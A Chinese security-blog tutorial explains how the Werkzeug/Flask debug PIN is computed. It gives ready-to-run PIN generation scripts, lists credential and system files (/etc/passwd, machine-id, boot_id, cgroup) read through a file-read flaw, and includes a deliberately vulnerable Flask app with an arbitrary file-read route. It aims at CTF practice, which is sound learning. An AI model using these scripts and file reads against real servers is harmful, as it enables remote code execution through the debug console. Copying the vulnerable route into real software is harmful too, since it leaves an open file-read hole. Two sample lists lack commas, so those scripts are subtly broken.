深入淺出Flask PIN - 網安 - 專業的網絡安全產業、社區、知識平臺

最近搞SSTI，發現有的開發開了debug，由此想到了PIN，但一直沒有對這個點做一個深入剖析，今天就完整的整理Flask Debug PIN碼的生成原理與安全問題。

PIN是什么？

PIN是 Werkzeug（它是 Flask 的依賴項之一）提供的額外安全措施，以防止在不知道 PIN 的情況下訪問調試器。您可以使用瀏覽器中的調試器引腳來啟動交互式調試器。

請注意，無論如何，您都不應該在生產環境中使用調試模式，因為錯誤的堆棧跟蹤可能會揭示代碼的多個方面。

調試器 PIN 只是一個附加的安全層，以防您無意中在生產應用程序中打開調試模式，從而使攻擊者難以訪問調試器。

——來自StackOverFlow回答

werkzeug不同版本以及python不同版本都會影響PIN碼的生成

但是PIN碼并不是隨機生成，當我們重復運行同一程序時，生成的PIN一樣，PIN碼生成滿足一定的生成算法

探尋PIN碼生成算法

筆者環境

?Python 3.10.2

?Flask 2.0.3

?PyCharm 2021.3.3 (Professional Edition)

?Windows 10 專業版 21H2

?Docker Desktop 4.7.0

先寫一個簡單的Flask測試程序

from flask import Flaskapp = Flask(__name__)
@app.route("/")def hello():    return '合天網安實驗室-實踐型網絡安全在線學習平臺；真實環境，在線實操學網絡安全。'
if __name__ == "__main__":    app.run(host="0.0.0.0", port=8080, debug=True)

運行，控制臺狀態如下

瀏覽器如下則成功

接下來開始調試程序，順藤摸瓜找到生成PIN碼的函數

PIN碼是werkzeug的策略，先找到flask中導入werkzeug的部分

調試

在run.app行下斷點，點擊調試

點擊步入

轉到了flask/app.py，直接Ctrl+F搜索werkzeug

發現程序從werkzeug導入了run_simple模塊，而且try部分有run app的參數

我們直接按住ctrl點擊run_simple進去看看

此時進入了seving.py，找到了負責Debug的部分，PIN碼是在debug狀態下才有的，那這個部分很有可能存有PIN碼生成部分，進去看看

此時進入了__init__.py，經過一番審計，先來看一看pin函數

主要是get_pin_and_cookie_name函數，進去看看

def get_pin_and_cookie_name(    app: "WSGIApplication",) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:    """Given an application object this returns a semi-stable 9 digit pin    code and a random key.  The hope is that this is stable between    restarts to not make debugging particularly frustrating.  If the pin    was forcefully disabled this returns `None`.
    Second item in the resulting tuple is the cookie name for remembering.    """    pin = os.environ.get("WERKZEUG_DEBUG_PIN")    rv = None    num = None
    # Pin was explicitly disabled    if pin == "off":        return None, None
    # Pin was provided explicitly    if pin is not None and pin.replace("-", "").isdigit():        # If there are separators in the pin, return it directly        if "-" in pin:            rv = pin        else:            num = pin
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)    username: t.Optional[str]
    try:        # getuser imports the pwd module, which does not exist in Google        # App Engine. It may also raise a KeyError if the UID does not        # have a username, such as in Docker.        username = getpass.getuser()    except (ImportError, KeyError):        username = None
    mod = sys.modules.get(modname)
    # This information only exists to make the cookie unique on the    # computer, not as a security feature.    probably_public_bits = [        username,        modname,        getattr(app, "__name__", type(app).__name__),        getattr(mod, "__file__", None),    ]
    # This information is here to make it harder for an attacker to    # guess the cookie name.  They are unlikely to be contained anywhere    # within the unauthenticated debug page.    private_bits = [str(uuid.getnode()), get_machine_id()]
    h = hashlib.sha1()    for bit in chain(probably_public_bits, private_bits):        if not bit:            continue        if isinstance(bit, str):            bit = bit.encode("utf-8")        h.update(bit)    h.update(b"cookiesalt")
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
    # If we need to generate a pin we salt it a bit more so that we don't    # end up with the same value and generate out 9 digits    if num is None:        h.update(b"pinsalt")        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if    # we don't have a result yet.    if rv is None:        for group_size in 5, 4, 3:            if len(num) % group_size == 0:                rv = "-".join(                    num[x : x + group_size].rjust(group_size, "0")                    for x in range(0, len(num), group_size)                )                break        else:            rv = num
    return rv, cookie_name

返回的rv就是PIN碼，但這個函數核心是將列表里的值hash，我們不需要去讀懂這段代碼，只需要將列表里的值填上直接運行代碼就行。

生成要素：

username

通過getpass.getuser()讀取，通過文件讀取/etc/passwd

modname

通過getattr(mod,“file”,None)讀取，默認值為flask.app

appname

通過getattr(app,“name”,type(app).name)讀取，默認值為Flask

moddir

當前網絡的mac地址的十進制數，通過getattr(mod,“file”,None)讀取實際應用中通過報錯讀取

uuidnode

通過uuid.getnode()讀取，通過文件/sys/class/net/eth0/address得到16進制結果，轉化為10進制進行計算

machine_id

每一個機器都會有自已唯一的id，machine_id由三個合并(docker就后兩個)：1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

當這6個值我們可以獲取到時，就可以推算出生成的PIN碼

生成算法

修改一下就是PIN生成算法

import hashlibfrom itertools import chain
probably_public_bits = [    'root',  # username    'flask.app',  # modname    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),]
# This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode("utf-8")    h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None:    h.update(b"pinsalt")    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = "-".join(                num[x: x + group_size].rjust(group_size, "0")                for x in range(0, len(num), group_size)            )            break    else:        rv = num
print(rv)

然后這里還有一個點，python不同版本的算法區別

不同版本算法區別

3.6采用MD5加密，3.8采用sha1加密，所以腳本有所不同

3.6 MD5

#MD5import hashlibfrom itertools import chainprobably_public_bits = [     'flaskweb'     'flask.app',     'Flask',     '/usr/local/lib/python3.7/site-packages/flask/app.py']
private_bits = [     '25214234362297',     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa']
h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None:   h.update(b'pinsalt')   num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None:   for group_size in 5, 4, 3:       if len(num) % group_size == 0:          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                      for x in range(0, len(num), group_size))          break       else:          rv = num
print(rv)3.8 SHA1#sha1import hashlibfrom itertools import chainprobably_public_bits = [    'root'    'flask.app',    'Flask',    '/usr/local/lib/python3.8/site-packages/flask/app.py']
private_bits = [    '2485377581187',    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd']
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = num
print(rv)

其實最穩妥的方法就是自己調試，把自己版本的生成PIN部分提取出來，把num和rv改成None，直接print rv就行

docker測試

本地docker在Windows上

我們將上面的測試代碼修改為下，加入文件讀取功能，并且return 0當我們傳值錯誤可出發debug模式

from flask import Flask, requestapp = Flask(__name__)
@app.route("/")def hello():    return '合天網安實驗室-實踐型網絡安全在線學習平臺；真實環境，在線實操學網絡安全。'
@app.route("/file")def file():    filename = request.args.get('filename')    try:        with open(filename, 'r') as f:            return f.read()    except:        return 0
if __name__ == "__main__":    app.run(host="0.0.0.0", port=9000, debug=True)

回到我們的環境，模塊路徑通過傳入錯誤文件名觸發報錯可得到，主要就是machine-id，其他部分直接出的就不用看了，docker環境只需要后倆

拼接起來，代入程序，直接運行

與環境里的一致

如果大家嫌開環境麻煩這里推薦兩個線上靶場，這倆都是計算PIN

?[GYCTF2020]FlaskApp——BUUCTF

?web801——CTFshow